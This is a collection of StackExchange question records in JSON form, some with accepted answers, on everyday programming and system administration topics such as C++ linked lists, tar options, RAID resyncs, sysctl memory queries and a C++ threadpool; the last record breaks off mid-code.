{  "id": "_codereview.9193"  , "question": "In my time off I thought I'd implement some idiomatic data structures, starting with a linked list. Here's my current version: #include <iostream>using namespace std;struct node{int data;node *next;};void traverseList(node *head){    for(node *iterator = head ; iterator ; iterator = iterator->next)    {        cout << iterator->data << endl;    } }int length(node *head){    int count = 0;    for(node *iterator = head ; iterator ; iterator = iterator->next, count++) {}    return count;}int main(){    //create the head of the list, assign it data    node *head = new node;    head->data = 0;    //create a {1,2,3} list    node *first = new node;    node *second = new node;    node *third = new node;    //assign appropriate data    first->data = 1;    second->data = 2;    third->data = 3;    //assign pointees    first->next = second;    second->next = third;    third->next = 0;    //give the head the pointee    head->next = first;    traverseList(head);    int listLength = length(head);    printf(List Length: %d\\n, listLength);    return 0;}I've already changed the while loops I originally used (e.g.):void traverseList(node *head){  if(head != 0){    while(head->next !=0){    cout << head->data << endl;    head = head->next;    }  //one extra for the node at the end  cout << head->data << endl;  }}to the for loops above. Is there anything else I should keep in mind? I'm following the Stanford CS linked list basics and problem set."  , "title": "Linked List review"  , "tags": "c++"  , "accepted_answer": "This is C++, not C.  Therefore, your linked list class should contain the methods for operating on the list, and it shouldn't expose implementation details like nodes.  For traversing the list, provide iterators.  You should also make it a template so that it can be used with any typeThat's the general picture.  More specifically:If you insist on traversing with a dedicated function for it, make it take a function (or functor!) so that anything can be done with the nodes.You've not created any mechanism for deleting the nodes.  Your class should do that in its destructor.You're not doing a lot of error checking that you should be.  That's not as relevant when you turn it into a class, but making sure head isn't null is very important.  You're doing that in traverse now, but length also needs it.To summarise, if the user of your class sees a single pointer, you can be sure you're doing it wrong."  } 
{  "id": "_unix.87484"  , "question": "After installing updates on Fedora 19 (kernel 10.3.7-200.fc19.x86_64) the DE freezes whenever I log in. Using the virtual consoles doesn't work.One time I even got this kernel panic:http://i.stack.imgur.com/h5q5n.jpgI have other kernels to try (10.3.5 and 10.3.3) and on them I don't get the freezes or the kernelpanics.Can you help me?"  , "title": "Kernel Panic after Fedora 19 Update"  , "tags": "fedora;kernel;kernel panic;freeze"  } 
{  "id": "_unix.88579"  , "question": "In modern web browsers and other software with text content, Space scrolls down more or less a screenful. ShiftSpace scrolls up in everything but less.How can one use ShiftSpace to scroll up in less? Or alternatively, is there another pager (POSIX compatibility is my only requirement) that could do the job?I was told some terminal emulators, and some terminal UI libraries (ncurses?), don't recognize ShiftSpace. Is that a valid issue?"  , "title": "Shift-Space in less"  , "tags": "terminal;less;pager"  } 
{  "id": "_unix.352708"  , "question": "I have the ~/.ssh/config file I'm using to manage different keys from different hosts.However, each time a new key is added, I'll need to also manually add this to ssh agent via ssh-add for separate reasons.Is there a way this can be achieved automatically? if yes, how?P.S: If it's any useful, I'm also using a macbook (osx)"  , "title": "Is it possible to auto copy keys from ssh config to ssh agent? how?"  , "tags": "ssh;osx;ssh agent"  } 
{  "id": "_codereview.128737"  , "question": "I'm creating a counter picker for a game called League of Legends, and for this I need to compare effects of abilities, which each champion has. For this I'm using 4 lists of champions, the returnList, the banned champion list, the enemy champions list, annd the allied champion lists. However, seeing that the returnlist, where the champions get there points, contains around 120 instances, which all have 5 abilities, which in turn have around 5 effects each, I feel that my current solution of nesting foreach loops might be really slow. I was wondering how I could best optimise thisforeach (CounterChampion champion1 in enemyList){    foreach (CounterAbility ability1 in champion1.Abilities)    {        foreach (string effects1 in ability1.Effects)        {            foreach (CounterChampion champion2 in returnList)            {                foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects))                {                    if (CounterEffectExists(effects2, effects1, CounterEffect.EffectType.Counters))                    {                        champion2.AddPoints(1);                    }                    if (CounterEffectExists(effects1, effects2, CounterEffect.EffectType.Counters))                    {                        champion2.AddPoints(-1);                    }                }            }        }    }}foreach (CounterChampion champion1 in banList){    foreach (CounterAbility ability1 in champion1.Abilities)    {        foreach (string effects1 in ability1.Effects)        {            foreach (CounterChampion champion2 in returnList)            {                foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects))                {                    if (CounterEffectExists(effects1, effects2, CounterEffect.EffectType.Counters))                    {                        champion2.AddPoints(1);                    }                }            }        }    }}foreach (CounterChampion champion1 in allyList){    foreach (CounterAbility ability1 in champion1.Abilities)    {        foreach (string effects1 in ability1.Effects)        {            foreach (CounterChampion champion2 in returnList)            {                foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects))                {                    if (CounterEffectExists(effects2, effects1, CounterEffect.EffectType.WorksWith))                    {                        champion2.AddPoints(1);                    }                    if (CounterEffectExists(effects1, effects2, CounterEffect.EffectType.WorksWith))                    {                        champion2.AddPoints(1);                    }                }            }        }    }}returnList.Sort(    delegate (CounterChampion c1,    CounterChampion c2)    {        return c1.GetPoints().CompareTo(c2.GetPoints()) * -1;    });return returnList;"  , "title": "Optimise nested loops used to compare champions which have abilities which have effects"  , "tags": "c#;performance"  , "accepted_answer": "Well the inner loop is something like 120*5*5 => 1200 cycles and I really don't know if it can become an issue with today's PC power. But improvements can always be made, and reading your code, I see that some lines are duplicated :   foreach (CounterChampion champion2 in returnList)    {        foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects))        {As as first step toward performance and code structuration, I suggest to compute the ability/effect in returnList once, and reuse it after. Typically, you may have something like this :class EffectByChampion{  CounterChampion Champion,  List<string> Effects}then you may fill the following list ONCEList<EffectByChampion>and after you may reuse it 3 times through your existing code with :    foreach (string effects1 in ability1.Effects)    {      foreach(EffectByChampion effectByChampion in EffectByChampionList)      {       foreach(string effects2 in effectByChampion)This way, you have 3 foreach loops removed. Hope this help !"  } 
{  "id": "_codereview.164086"  , "question": "I have a registration form. Step 1 user creates an account. As user creates an account I need to authenticate user with the created account. in my account.service.ts I have following. Is this the best way to handle this? and how can improve this to handle errors from 2 different http calls?  public createAccount(reg: CreateUserRequestModel): Observable<any> {    return this.apiService.post('api/register/account', reg)      .flatMap(()=>{        return this.authenticationService.authenticate(reg.emailAddress, reg.password)      }).map((response)=>{        return response.json()      })      .catch((error: any) => {        return Observable.throw(error.json());      });  }"  , "title": "Angular 2 / rxjs chaining HTTP calls"  , "tags": "http;typescript;rxjs;angular 2+"  } 
{  "id": "_unix.175801"  , "question": "Can someone tell me a command that will find my external ip for a freebsd 10 system."  , "title": "How to find public ip for a freebsd system"  , "tags": "freebsd;ip"  , "accepted_answer": "Personally, I use wtfismyip.com which returns pure text and does not need parsing:$ wget -qO - http://wtfismyip.com/text123.456.78.9"  } 
{  "id": "_webapps.107839"  , "question": "I have a document in Word Online.  When the document is downloaded to the desktop to be opened with regular Word, it seems that all comments are stripped from it.  Is there a way to download a document from Word Online without losing comments?"  , "title": "Downloading Word Online documents strips comments?"  , "tags": "word online"  } 
{  "id": "_webapps.98554"  , "question": "I am a school secretary.  I created a master schedule in sheets.  Based on that schedule, I sent a separate sheet to each teacher to create their own personal schedule.  I created tabs and cut and paste each personal schedule into a specific tab/sheet labeled with that teacher's name.  I did not want to cut and paste.  I wanted to insert their actual document as a tab in the master file.  How would I go about doing that?"  , "title": "Insert document as tab in master spreadsheet"  , "tags": "google spreadsheets"  } 
{  "id": "_webmaster.21597"  , "question": "Many popular JS/CSS frameworks are offered via Google's Libraries API (jQuery, Dojo, MooTools etc.). Yahoo also hosts it's own YUI toolkit, as do many others.Do any high volume/traffic sites actually rely on these externally-hosted resources (without hosting their own copies)? It seems like a great service to leverage, although in my experience I've often encountered these libraries packaged along with the projects I've worked on.What's the most common practice here? Moreover, is it safe and reliable (based on experience) to use these externally?"  , "title": "Is it common, or smart, for high-traffic sites use externally-hosted js/css frameworks?"  , "tags": "google;web hosting;jquery;yahoo"  , "accepted_answer": "It is quite common, and for high traffic websites certainly using a Content Delivery Network is sound advice, it takes the strain off your main server whilst making sure users get static content quickly.There is the added benefit that if I visit site A that uses say the Google hosted jQuery and then visit site B that does the same, I will have cached it from site a and will not need to download it again.The downside is that you are relying on other networks having the same uptime you do, the Amazon outages have proved that nothing has 100% uptime."  } 
{  "id": "_webapps.58321"  , "question": "Why does Gmail frequently ask for my password?  It rarely did this until I changed my password. "  , "title": "Why does Gmail frequently ask for my password? It started when I changed my password"  , "tags": "gmail"  } 
{  "id": "_softwareengineering.246276"  , "question": "At work, one of my projects is mostly about taking data passed in from an external client and persisting it in a database.  It's a Java enterprise app using JPA and most of our logic revolves around CRUD operations.  The majority of our bugs involve JPA in one way or another.  Example 1: If you click the save button twice, JPA might try to insert the same entity into the database a second time, causing a primary key violation.Example 2: You retrieve an entity from the database, edit it and try to update its data.  JPA may try to create a new instance instead of updating the old one.  Often the solution is needing to add/remove/change a JPA annotation.  Other times it has to do with modifying the DAO logic. I can't figure out how to get confidence in our code using unit tests and TDD. I'm not sure if it's because unit tests and TDD are a bad fit, or if I'm approaching the problem wrong.Unit tests seem like a bad fit because I can only discover these problems at runtime and I need to deploy to an app server to reproduce the issues.  Usually the database needs to be involved which I consider to be outside the definition of a unit test: These are integration tests.TDD seems like a bad fit because the deploy + test feedback loop is so slow it makes me very unproductive.  The deploy + test feedback loop takes over 3 minutes, and that's just if I run the tests specifically about the code I'm writing.  To run all the integration tests takes 30+ minutes.There is code outside this mold and I always unit test that whenever I can.  But the majority of our bugs and the biggest time sinks always involve JPA or the database.There is another question that is similar, but if I followed the advice I'd be wrapping the most unstable part of my code (the JPA) and testing everything but it. In the context of my question, I'd be in the same bad situation. What's the next step after wrapping the JPA? IMO that question is (perhaps) a step to answer my question, but not an answer to it."  , "title": "How can I use unit tests and TDD to test an app that relies mostly on database CRUD operations?"  , "tags": "java;unit testing;tdd;jpa"  } 
{  "id": "_unix.339210"  , "question": "I was able to locale libnl (and few of its child) in /usr/lib64. I'd like to install libnl3-devel-3.2.29-2.fc25.x86_64.rpm there BUT my current version of libnl is an earlier version (3.2.27..) So I'm having trouble ...dnf libnl is not working...I'm doing all this to install aircrack-ng Could you help me install it (especially libnl-3-dev and libnl-genl-3-dev) ?"  , "title": "How to update libnl in Fedora?"  , "tags": "software installation"  , "accepted_answer": "You did not mentioned which distro you have; is it Fedora 24 ? I have Fedora 25. I ran just now dnf update, and after it completed (it took about 20 minutes), running rpm -q libnl3 gives libnl3-3.2.29-2.fc25.x86_64, which is what you want.I need to add that before running dnf update I had libnl3-3.2.28-3.fc25.x86_64 and not 3.2.27 as you. Regarding libnl-3-dev and libnl-genl-3-dev: these are Ubuntu/Debian packages, not Fedora/CentOs packages. I installed the parallel libnl3-devel Fedora package (again on this F25 machine) by dnf install libnl3-devel, and it installed libnl3-devel-3.2.29-2.fc25.x86_64. Not sure about libnl-genl-3-dev.Rami Rosen"  } 
{  "id": "_webapps.43238"  , "question": "Is it possible to host a website for example in Amazon Cloud and have my domain point there, but have the same domain installed with Gmail for mail support?"  , "title": "Is it possible to host in the cloud but have email in Gmail?"  , "tags": "gmail;amazon;amazon ec2"  } 
{  "id": "_softwareengineering.133368"  , "question": "If in a web app, let's say an app that has a table with stored street address (Strings), the admin of the app will be adding data often to grow his archive.The table (MySQL) has a primary key with AUTO_INC.The web app allows the users to add addresses themselves.  Once a user enters an address say X, ALL of the users of the application will be able to see the address X when searching for available addresses.What if, since address is a string, a user stores inappropriate content(like bad words, for example)? This might offend some users and push them to stop using the app.So I was thinking of what would be better:Storing user input in a separate table (pending input), until the admin approves them and then they're moved the official table?Or store the inputs in same table of the admin's inputs table, but put a temporary flag on each entered record (by the users) so that they are only visible to that user until the admin approves them?On a side note, is it logical to limit each user to have a specific amount of input addresses per day that they can add (some spammers might fill the table with thousands of useless records)?"  , "title": "Is it bad practice to store user input in the same table where the admin stores data?"  , "tags": "web applications;database design;user experience"  , "accepted_answer": "I would always put data of the same type in one table and rather add some simple columns with flags in a single table. This will make adding new features to your system  in a later stage probably much easier to accomplish. Especially if other developers will be working on the project.The problem with a limited amount of submissions by users, is that you limit the most active users. You can follow the StackExchange philosophy. The first time a user adds an address, it first needs to be approved. Then you can create a trusted base of users, and there is no reason to restrict those users at all. Don't make it to complicated however. Dividing users in new users and trusted users should be enough, if you also add some opportunity for regular users to report spam-input with a simple button. Do not make your system more restricted than necessary, that will scare of potential active users."  } 
{  "id": "_webmaster.86984"  , "question": "A Google Analytics account I have access to seems to completely ignore visits from handheld devices.I originally noticed as the traffic count from handheld was only 15, compared to the thousands received on desktop. I've visited the site from tablets and mobiles while viewing Realtime, and it doesn't show up.I was worried that it was classing these visits as desktop, but it actually seems that they just aren't getting tracked at all.I've also noticed that the URL structure is different to anything I've seen before. Instead of domain.com/services, it's services/domain.com - which is a 404 page. However it does appear that Analytics is tracking visits to the actual page, just displaying the URL incorrectly. Could these two issues be connected?"  , "title": "Google Analytics Not Tracking Mobile Visitors"  , "tags": "google analytics;google tag manager"  } 
{  "id": "_cs.47622"  , "question": "I am confused in finding RAW dependencies whether we have to find only in adjacent instructions or non-adjacent also.consider the following assembly code I1: ADD R1 , R2, R2; I2: ADD R3, R2, R1;I3: SUB R4, R1 , R5;I4: ADD R3, R3, R4;FIND THE NUMBER OF READ AFTER WRITE(RAW) DEPENDENCIES IN THE Above Code.I am getting 2 dependency  I2-I1 and I4-I3."  , "title": "Read After Write(RAW) hazard"  , "tags": "computer architecture;cpu pipelines"  } 
{  "id": "_webapps.14178"  , "question": "I am using Firefox. Whenever I typemy questions  on stackexchangesites, there will be automatic spellchecking. Does this function comesfrom Firefox, or from stackexchangesites, or somewhere else?If it comes form Firefox, why isthere no spell checking when I typein some other websites? Just offyour head, in what cases, there willbe spell checking and in what casesthere will be no?American English and British Englishmay spell some words in differentways. For example, if I typeoptimization, it will beautomatically underscored to let meknow the spelling is wrong. How canI make the spell checking tool torecognize American English spelling?Thanks and regards!"  , "title": "Where does the spell checking function comes from?"  , "tags": "spell check"  , "accepted_answer": "As I type this answer on webapps.stackexchange.com, Firefox is providing the spell checking.It depends on the website. I suspect that any site that uses standard textarea tags will allow Firefox to spell-check it. Google Docs, on the other hand, uses its own custom spell checker.Right-click a misspelled word. Select Languages and make sure English / United States is selected. If you don't see it there, select Add Dictionaries... and install the English (US) dictionary."  } 
{  "id": "_unix.144371"  , "question": "I would like to run xkbcomp upon a user login in order to modify its keyboard. The command works fine from a terminal after login. The system is an unmodified Fedora 20 Desktop Edition.I tried to add the command (with full paths) to gnome-session-properties$HOME/.xinitrcI also added an additional entry to /etc/xdg/autostart/:[Desktop Entry]Type=ApplicationName=Programmers on AZERTYExec=/usr/bin/xkbcomp /home/w/azerty_prog.xkb $DISPLAYX-GNOME-Autostart-enabled=trueNone of these work, the keyboard is not modified (I do not know where logs are located). Where should I add this entry?"  , "title": "How to start a command upon login in GNOME?"  , "tags": "gnome;login;xkb"  } 
{  "id": "_unix.237269"  , "question": "I can echo to /dev/tty1: echo hello > /dev/tty1I can display an image (while booting or not): fbi -T 1 -noverbose -a test.pngI can display the image after printing hello to the console, but I can not print anything after displaying an image. How can I print to the console after displayin an image? "  , "title": "How to echo tty1 after displaying an image via fbi?"  , "tags": "tty;fbi"  } 
{  "id": "_codereview.27901"  , "question": "Resharper thinks I should change thiswhile (dockPanel.Contents.Count() > 0)to the following:while (dockPanel.Contents.Any())Without thinking twice about it, I switched to the any version because .Any() is more readable for me. But a coworker of mine sees the change and asked why I did it. I explained that this improves readability but his objection was the following:Any is an ambiguous word.People may not be familiar with LINQ, so they might not be aware of what Any does at first glance.Count > 0 is universal. You don't have to know C# to find out what you're trying to do.The confusion is probably compounded by the fact that I'm working overseas. People here speak little to no English here.Which method should I stick with?"  , "title": "List Any vs Count, which one is better for readability?"  , "tags": "c#"  , "accepted_answer": "For me, it's about intent. What does your code's business logic say if you read it in English (or your native language)?It usually comes to me as If there are any employees who are in the management role, then show a particular option panel.And that means .Any(). Not .Count(). Very few times will I find myself using .Count() unless the underlying rule talks about more than one or more than two of something.As a bonus, .Any() can be a performance enhancement because it may not have to iterate the collection to get the number of things. It just has to hit one of them. Or, for, say, LINQ-to-Entities, the generated SQL will be IF EXISTS(...) rather than SELECT COUNT ... or even SELECT * ...."  } 
{  "id": "_webapps.86782"  , "question": "I periodically send out emails to our team to check in on from entries that have a specific field set to No. And after they complete a certain task then need to change that entry to Yes. The easiest way I've found to do this is to have them go to the form edit URL and just change the last question themselves.However, to make it easier, I would like to auto-fill that change that final questions to a Yes instead of a No through the Edit URL.Is this possible? If this is not possible, any suggestions for a more user-friendly way to edit a response? If I could generate a link that runs a script with a unique identifier that would work as well, or even a link that causes the specific spreadsheet cell to change would work too."  , "title": "Can I auto-fill an answer on a form edit URL?"  , "tags": "google forms"  , "accepted_answer": "I figured that out rather quickly.If you take your form URL:docs.google.com/a/mydomain/forma/d/uniqueFormString/viewform?edit2=uniqueEditStringGet your elements number and value by getting a pre-filled URL. ie. &entry.688631299=Yes and insert it right after the viewform? and append a & after your elements number and value.The URL should look like: docs.google.com/a/mydomain/forma/d/uniqueFormString/viewform?&entry.688631299=Yes&edit2=uniqueEditStringGo to that URL and the specific question will be changed. Now if I could just figure out how to auto-submit the form to make it even easier."  } 
{  "id": "_webmaster.74681"  , "question": "Whenever I create a Responsive Website I usually create 2 menus: 1 hidden and used for mobile and  the other displayed as the main menu, then hidden to show the mobile menu. Whenever it comes to SEO and spiders navigating the website do I  get dinged for having duplicate menus? Is there anything I can do to indicate to the spider that this menu is for mobile and this is the main? The end reason why I have 2 different menus are because of location, usually the main menu is in some kind of bar underneath the logo etc, but the mobile menu I want on top of everything, so above the logo etc."  , "title": "SEO - Responsive Website and Duplicated Menus"  , "tags": "seo;web crawlers;googlebot;navigation"  , "accepted_answer": "You have nothing to worry about. You can use display: none; to switch menus. Search engines are much better at understanding JS and CSS.    As long as you are not intentionally trying to manipulate things to get a better ranking.  Using display: none; to hide big blocks of text will get you penalized. So if you are only using to hide your desktop menu on mobile and visa verse you are not in any danger. Take a look a this old thread from StackExchange: How bad is it to use display: none in CSS?Google is actually quite fond of responsive design and prefers it to a separate mobile site.Here is a good article on SEO of Responsive DesignAlso, check out this article/video:Matt Cutts (Google), said that you dont have to worry about there being a down side, related to SEO, when using a responsive design approach for mobile web sites."  } 
{  "id": "_webapps.9191"  , "question": "On two computers now, I have a strange recurring visual formatting bug when accessing Gmail using Firefox. One email, usually towards the bottom of the page, has a blue block over the date. I have reloaded multiple times and cleared out the gmail cookies. I have even cleared out the entire cache, but the problem persists. Any ideas what is causing this?"  , "title": "Fix formatting issue with Gmail on Firefox"  , "tags": "gmail;firefox"  , "accepted_answer": "Typical, no sooner do I post the issue, than I work out what was causing it. It was the google calendar gadget from the google labs settings page. The badly formatted email was in line with the top of the gadget."  } 
{  "id": "_unix.165160"  , "question": "Let's say you want to cat the contents of a really big file, but want to view it a few bits at a time. Let's say one were to do the following:$ cat /dev/sda1 | lessAs a programmer of languages such as Java and ActionScript, when I look at that code I imagine Bash first running the command cat /dev/sda1 (loading everything the command returns into RAM), and then running the command less which has access to that really big pseudo-variable represented as -.Is that the way Bash does things (meaning that command is a really bad idea if the file is larger than the amount of RAM on your system, and you should use another command), or does it have a way of optimising the piping of large amounts of data?"  , "title": "How does Bash pipe large amounts of data?"  , "tags": "bash;pipe;less"  } 
{  "id": "_codereview.116846"  , "question": "I'm using BFS to see if a given path exists in a graph:static class Node{    int data;    Node next;    public Node(int data){        this.data = data;    }}//Adjency List to store the reference to head of each Node/Verticestatic class AdjList implements Iterable<Integer>{    Node head;    public void add(int to){        if(head==null){            head = new Node(to);        }else{            Node temp = head;            while(temp.next!=null)                temp = temp.next;            temp.next = new Node(to);        }    }    //Used to iterate over the adjacency list while BFS    @Override    public Iterator<Integer> iterator(){        Iterator<Integer> it = new Iterator<Integer>(){            Node temp = head;            @Override            public boolean hasNext(){                return temp!=null;            }            @Override            public Integer next(){                Node toRet = temp;                temp = temp.next;                return toRet.data;            }            @Override            public void remove(){                throw new UnsupportedOperationException();            }        };        return it;    }}static class Graph{    AdjList[] lists;    int numberOfNodes;    public Graph(int numberOfNodes){        lists = new AdjList[numberOfNodes];        this.numberOfNodes = numberOfNodes;        for(int i=0; i<numberOfNodes; i++){            lists[i] = new AdjList();        }    }    //Adds edge from/to vertice    public void addEdge(int from, int to){        lists[from].add(to);    }    public boolean BFS(int from, int to){        LinkedList<Integer> queue = new LinkedList<>();        queue.add(from);        boolean[] visited = new boolean[numberOfNodes];        visited[from]= true;        while(!queue.isEmpty()){            if(visited[to]==true)                return true;            int curr = queue.poll();            System.out.print(curr +  );            Iterator<Integer> iter = lists[curr].iterator();            while(iter.hasNext()){                int currVal = iter.next();                if(visited[currVal]==false){                    queue.add(currVal);                    visited[currVal]=true;                }            }        }        return false;       }}public static void main(String[] args) {    Graph myGraph = new Graph(3);    myGraph.addEdge(0, 1);    myGraph.addEdge(1,2);    myGraph.addEdge(2,1);    System.out.println(Path from 2 to 0 exists :  + Boolean.valueOf(myGraph.BFS(2,0)));}I could've used DFS for the same purpose which requires lesser memory than BFS, but since my Graph was pretty small, it wouldn't have made much of a difference. Apart from that, under what circumstances should I prefer either of them?"  , "title": "Check if a given path exists in a graph"  , "tags": "java;graph"  , "accepted_answer": "Regarding the code, I'd have only 2 suggestions:Use brackets even for single-line ifs. It improves readability and makes the code less error prone.Try not to shorten member names too much (like iter or it for example). It improves readability.As for the chosen algorithm and possible alternative I'd suggest Iterative Deepening DFS. It has the best of both Depth-First Search and Breadth-First Search - it's complete, finds the optimal solution, and doesn't use too much space.Let me know if anything's unclear."  } 
{  "id": "_webmaster.43077"  , "question": "I am based in Europe and I would like to test my website as if I am located in New York.I have some specific features that will be visible based on cities. "  , "title": "How can I change the location of my ip address to specific citiies/places when browsing?"  , "tags": "ip address"  } 
{  "id": "_unix.264783"  , "question": "I want to install a teamspeak on my root server, but after downloading the tar file, I cannot extract it.I use the commandtar -xzvf teamspeak3-server_linux_amd64-3.0.12.2.tar.bz2I also know that you don't need the hyphen/dash before the xzvf but I use it.Still I get a message that says the file doesn't exist although it is listed when I check with lsI get this error:tar (child): v: Funktion open fehlgeschlagen: Datei oder Verzeichnis nicht gefun                                                                                        dentar (child): Error is not recoverable: exiting nowtar: Child returned status 2tar: Error is not recoverable: exiting now"  , "title": "Why does my tar not work?"  , "tags": "linux;tar"  , "accepted_answer": "The z option is for .tar.gz (gzipped) files.bzip2'd files (the .bz2 suffix) use a different tar option: j.Trytar -xjvf teamspeak3-server_linux_amd64-3.0.12.2.tar.bz2or (auto-detection has been around a couple of years)tar -xvf teamspeak3-server_linux_amd64-3.0.12.2.tar.bz2Further reading:Compression support"  } 
{  "id": "_unix.12865"  , "question": "I have a CentOS server with RAID5. Every time RAID5 re-syncs my server stop working. The hosting company stopped the httpd service so that RAID5 can re-sync itself, a process which can take as long as 3-4 hours.The problem reoccurs frequently, so the Hosting company swaped my server hardware and I migrated to new hardware. I still have this problem (on the new server).Is this something normal in RAID5? How can we solve this issue permanently? If every time RAID5 wants to re-sync my server overloads and my website will not be accessible, then RAID5 sucks.I would really appreciate if you can suggest a solution for this disaster.Here is /proc/mdstat report:root@host [~]# watch 'cat /proc/mdstat'Every 2.0s: cat /proc/mdstat                            Mon May  9 01:25:30 2011Personalities : [raid1]md0 : active raid1 xvda1[0] xvdb1[1]      104320 blocks [2/2] [UU]md1 : active raid1 xvda2[0] xvdb2[1]      2096384 blocks [2/2] [UU]md2 : active raid1 xvda5[0] xvdb5[1]      484086528 blocks [2/2] [UU]      [=====>...............]  resync = 29.5% (142978880/484086528) finish=77.7min speed=73108K/secunused devices: <none>"  , "title": "Problem with RAID5"  , "tags": "centos;raid5"  , "accepted_answer": "RAID should only resync after a server crash or replacing a failed disk.  It's always recommended to use a UPS and set the system to shutdown on low-battery so that a resync won't be required on reboot.  NUT or acpupsd can talk to many UPSes and initiaite a shutdown before the UPS is drained.  If the server is resyncing outside of a crash, you probably have a hardware issue.  Check the kernel log at /var/log/kern.log or by running dmesg.  I also recommend setting up mdadm to email the adminstrator and running smartd on all disk drives similarly set up to email the administrator.  I receive an email about half the time before I see a failed disk.  If you are having unavoidable crashes, you should enable a write-intent bitmap on the RAID.  This keeps a journal of where the disk is being written to and avoids a full re-sync on reboot.  Enable it with:mdadm -G /dev/md0 --bitmap=internal"  } 
{  "id": "_unix.175806"  , "question": "I'm on OS X Yosemite, ran this code:unsigned long num_;sysctl((int[]){CTL_HW, HW_PHYSMEM}, 2, &num_, &len, NULL, 0);printf(AMT MEM: , %lu\\n, num_);and getting back 140735340871680Which doesn't make sense: (in IPython 3)In [3]: mem / (1024 ** 3)mem / (1024 ** 3)Out[3]: 131070.0Since I have 16 GB of physical memory. I looked at the header for sysctl.h and see#define HW_PHYSMEM   5      /* int: total memory */#define HW_USERMEM   6      /* int: non-kernel memory */So now this really doesn't make sense, I could believe the figure if I passed HW_USERMEM, but I specially asked for total memory. What gives?Did I do some stupid math mistake in the Python code?"  , "title": "Accounting for missing memory from sysctl"  , "tags": "osx;memory"  , "accepted_answer": "Did I do some stupid math mistake in the Python code?Actually, it's your C code that's wrong.The most direct fix to your code is this:#include <stdio.h>#include <sys/sysctl.h>int main(void){    int64_t bytes;    size_t len = sizeof(bytes);    sysctl({ CTL_HW, HW_PHYSMEM64 }, 2, &bytes, &len, NULL, 0);    int megs = bytes / 1024 / 1024;    printf(AMT MEM: %d MiB\\n, megs);}If you use HW_PHYSMEM instead, it only works on machines with up to 2 GiB of RAM, since it is storing a count of bytes into a variable that is assumed to be 32 bits in size. The change to a 64-bit argument requires a new sysctl value to avoid breaking backwards compatibility. This is why OpenBSD's sysctl(3) man page says HW_PHYSMEM is obsolete.I took a few liberties in the code above. I'm doing part of the math in the C code so I can read the output without feeding it through a calculator. I also fixed several integer type warnings and renamed the num_ variable to bytes for clarity.That code runs fine on some of the BSDs, but not on OS X or FreeBSD.On looking at the OS X man page, it seems they want you to use sysctlbyname(3) instead. This works fine here on Yosemite:#include <stdio.h>#include <sys/sysctl.h>int main(void){    int64_t bytes;    size_t len = sizeof(bytes);    sysctlbyname(hw.memsize, &bytes, &len, NULL, 0);    int megs = bytes / 1024 / 1024;    printf(AMT MEM: %d MiB\\n, megs);}I have 16 GiB of physical RAM, and it correctly reports 16384 MiB.If you try that on FreeBSD, though, you get 0 as an answer. A bit of poking around says that it wants hw.physmem instead.And once again we hit a wall, because trying that sysctlbyname value on OS X gives the sort of bogus results you found.Therefore, the bottom-line answer is that all of this is highly system-specific. If you need it to be cross-platform, you will need a lot of #ifdefs.Footnotes:Sorry, I don't have my powers of 2 memorized into the billions yet. :)Tested on OpenBSD 5.5 and NetBSD 6.0.1."  } 
{  "id": "_softwareengineering.242811"  , "question": "I used to analyse performance of programmers in my team by looking at the issues they have closed. Many of the issues are of course bugs. And here another important performance aspect comes - who introduced the bugs. I am wondering, if creating a custom field in the issue tracking system Blamed for reporting the person who generated the problem, is a good practice.One one hand it seems ok to me to promote personal responsibility for quality and this could reduce the additional work we have due to careless programming. On the other hand this is negative, things are sometimes vague and sometimes there is a reason such us this thing had to be done very quickly due to a client's.... What to you think?"  , "title": "Is it good practice to analyse who introduced each bug?"  , "tags": "code quality;issue tracking;bug report"  } 
{  "id": "_codereview.54933"  , "question": "This is a continuation of this question, v3 can be found hereTaking into account the advise given by Loki, an implementation of the threadpool using a std::condition_variable to control when threads wakeup is presented below. Using this, the test program eventually deadlocks, the time before deadlock occurs is directly related to the number of tasks in pre-allocation. This must mean that there is a problem in waking the threads when work has arrived, but I cannot identify why it is happening.This behaviour has currently been disabled by the USE_YIELD pre-compiler define.threadpool.hpp#ifndef THREADPOOL_H#define THREADPOOL_H#include <atomic>#include <condition_variable>#include <functional>#include <future>#include <mutex>#include <thread>#include <vector>#include <boost/lockfree/queue.hpp>#define USE_YIELDclass threadpool{public:    //  constructors    //    //  calls threadpool(size_t concurrency) with:    //    //  concurrency - std::thread::hardware_concurrency()    threadpool();    //  calls threadpool(size_t concurrency, size_t queue_size) with:    //    //  concurrency - concurrency    //  queue_size  - 128, arbitary value, should be sufficient for most    //                use cases.    threadpool(size_t concurrency);    //  creates a threadpool with a specific number of threads and    //  a maximum number of queued tasks.    //    //  Argument    //    concurrency - the guaranteed number of threads used in the    //                  threadpool, ie. maximum number of tasks worked    //                  on concurrently.    //    queue_size  - the maximum number of tasks that can be queued    //                  for completion, currently running tasks do not    //                  count towards this total.    threadpool(size_t concurrency, size_t queue_size);    //  destructor    //    //  Will complete any currently running task as normal, then    //  signal to any other tasks that they were not able to run    //  through a std::runtime_error exception    ~threadpool();    threadpool(const threadpool &)             = delete;    threadpool(threadpool &&)                  = delete;    threadpool & operator=(const threadpool &) = delete;    threadpool & operator=(threadpool &&)      = delete;    //  run    //    //  Runs the given function on one of the thread pool    //  threads in First In First Out (FIFO) order    //    //  Argument    //    task - function or functor to be called on the    //           thread pool.    //    //  Result    //    signals when the task has completed with either    //    success or an exception. Also results in an    //    exception if the thread pool is destroyed before    //    execution has begun.    std::future<void> run(std::function<void()> && task);private:    struct task_package    {    public:        std::promise<void> completion_promise;        std::function<void()> task;    };    //  Have to use 'task_package *' since a trivial destructor is    //  required, 'task_package' and 'std::unique_ptr<task_package>'    //  do not satisfy.    boost::lockfree::queue<task_package *> tasks;    std::vector<std::thread> threads;    std::atomic<bool> shutdown_flag;#ifndef USE_YIELD    volatile bool wakeup_flag;    std::condition_variable wakeup_signal;    std::mutex wakeup_mutex;#endif    inline bool pop_task(std::unique_ptr<task_package> & out);};#endifthreadpool.cpp#include threadpool.hpp#include <algorithm>#include <exception>#include <utility>template<typename T>constexpr T zero(T){    return 0;}threadpool::threadpool() :    threadpool(std::thread::hardware_concurrency()){ };threadpool::threadpool(size_t concurrency) :    threadpool(concurrency, 128){ };threadpool::threadpool(size_t concurrency, size_t queue_size) :    tasks(queue_size),    shutdown_flag(false),    threads()#ifndef USE_YIELD    ,wakeup_flag(false),    wakeup_signal(),    